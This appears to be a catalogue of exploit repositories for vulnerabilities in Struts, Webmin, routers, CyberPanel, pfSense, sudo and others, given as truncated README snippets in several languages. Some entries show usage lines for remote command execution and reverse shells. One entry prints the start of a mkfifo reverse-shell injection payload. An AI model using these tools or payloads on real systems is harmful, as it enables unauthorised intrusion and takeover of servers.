CVE-2016-4438

ref: https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037PoC.py https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037CmdToolExP.py...

CVE-2012-2982

CVE-2012-2982 This python script is written for vulnerability in Webmin 1.580, CVE-2012-2982. The vulnerability exists in the /file/show.cgi component and allows an authenticated user, with access to the File Manager Module, to execute arbitrary commands with root privileges. Installation Tested...

struts-rce-cve-2017-9805

Описание Инструмент Apache Struts RCE для CVE 2017-9805 Параметры u: целевой URL; c: команда, которая будет выполнена на уязвимой цели; f: автоматическая проверка RCE с использованием списка целей по одной цели на строку; p: указать порт для локального слушателя - используется с опцией f - по...

CVE-2023-27997-POC

Usage: python3 cve-2022-42475.py rhost rport lhost 'command' Exemple: python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /' Disclaimer: This project is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is...

GPON

RCE on GPON home routers CVE-2018-10561 Vulnerability Many routers today use GPON internet, and a way to bypass all authentication on the devices CVE-2018-10561 was found by VPNMentor. With this authentication bypass, it's also possible to unveil another command injection vulnerability...

CVE-2024-51378

CyberPanel Command Injection Vulnerability - CVE-2024-51378 Exploit for CyberPanel Pre-Auth RCE Remote Code Execution via Command Injection Author: Luka Petrovic refr4g Date Disclosed: October 2024 Overview Proof-of-concept PoC exploit for a command injection vulnerability CVE-2024-51378 in...

ttyd

ttyd - Partagez votre terminal sur le web ttyd est un outil en ligne de commande simple pour partager un terminal sur le web. Fonctionnalités Construit sur libuv et WebGL2 pour la rapidité Terminal complet avec prise en charge des caractères CJK et des IME Prise en charge du transfert de fichiers...

SenselessViolence

SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 Exploitation Toolkit. What? This is an exploitation toolkit for the pfSense pfBlockerNG = 2.1.426 plugins remote command injection feature discovered by IHTeam. I wrote this to play around with some of the design principles found in t...

StrutsShell

StrutsShell Apache Struts CVE-2017-5638 Shell Introduction The "LowNoiseHG LNHG Struts Shell " "StrutsShell " from now on was conceived in March 2017 after realizing the usefulness of not having to exploit Apache Struts CVE-2017-5638 manually HTTP GET requests by hand and after realizing the...

victorian_machinery

Victorian Machinery Victorian Machinery is a proof of concept exploit for CVE-2022-30525. The vulnerability is an unauthenticated and remote command injection vulnerability affecting Zyxel firewall's that support zero touch provisioning. Zyxel pushed a fix for this issue on April 28, 2022. The...

CVE-2026-87902

CVE-2026-87902 | ---|--- Advisory| GHSA-7hp8-65ch-5whp Product| WordPress = 7.1.1, fixed in 7.1.2; both versions tested Sink| wp-includes/template.php, getpagetemplate Cause| the candidate built from pagename is not passed through validatefile Actor| anonymous, no account, no cookie, no CSRF toke...

Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution

Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution CVE-2014-6287 Rewrite of Pergyz 49584.py to return an x64 PowerShell Reverse Shell Usage $ python3 hfs-2-3-exploit.py Supply variables when prompted, auto starts Netcat for you...

CVE-2025-48703

🛡️ CVE-2025-48703 - Remote Code Execution RCE in cPanel File Manager 📌 Description CVE-2025-48703 is a Remote Code Execution RCE vulnerability in the filemanager module of a web hosting control panel e.g., cPanel. It occurs due to unsanitized input handling in the acc=changePerm function, which...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 command injection. The package pdfkit is vulnerable to Command Injection where the URL is not properly sanitized. Note: This issue was patched in 0.8.7.2, but the patch was discovered to be ineffective. The updated patch version is 0.8.7.2 PoC Star...

CVE-2022-36231

CVE-2022-36231 The ruby gem pdfinfo /dev/null As with the initialize method there is no validation performed on the @pdfpath variable. This allows us to make use of command chaining with ; to execute an arbitrary command. info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat...

ntlm_relay_gat

NTLM Relay Gat Description NTLM Relay Gat est un outil puissant conçu pour automatiser l'exploitation des relais NTLM à l'aide de ntlmrelayx.py de la suite d'outils Impacket. En exploitant les capacités de ntlmrelayx.py, NTLM Relay Gat simplifie le processus d'exploitation des vulnérabilités de...

CVE-2022-22954

Multi-vulnerability trigger point detection, multi-threaded batch detection, command execution, file writing // Single target vulnerability detection python CVE-2022-22954.py -u https://x.x.x.x // Command execution python CVE-2022-22954.py -u https://x.x.x.x -c "id" // Write file python...

CVE-2023-38646

CVE-2023-38646-exploit "This vulnerability, designated as CVE-2023–38646, allowed attackers to execute arbitrary commands on the server without requiring any authentication." A quick reverse shell exploit script for cve-2023-38646. I did not find this vulnerability, just made the script. Usage...

CVE-2024-3640_WafBypass

CVE-2024-3640 WafBypass woodpacker Plugin Exploitation The bypass method is essentially inserting XML comment markers to bypass keyword filtering. Delay Detection Echo Command Execution Custom Memory Shell...

CVE-2021-3156

CVE-2021-3156 Description Sudo before 1.9.5p2 has a Heap-based Buffer Overflow, allowing privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character...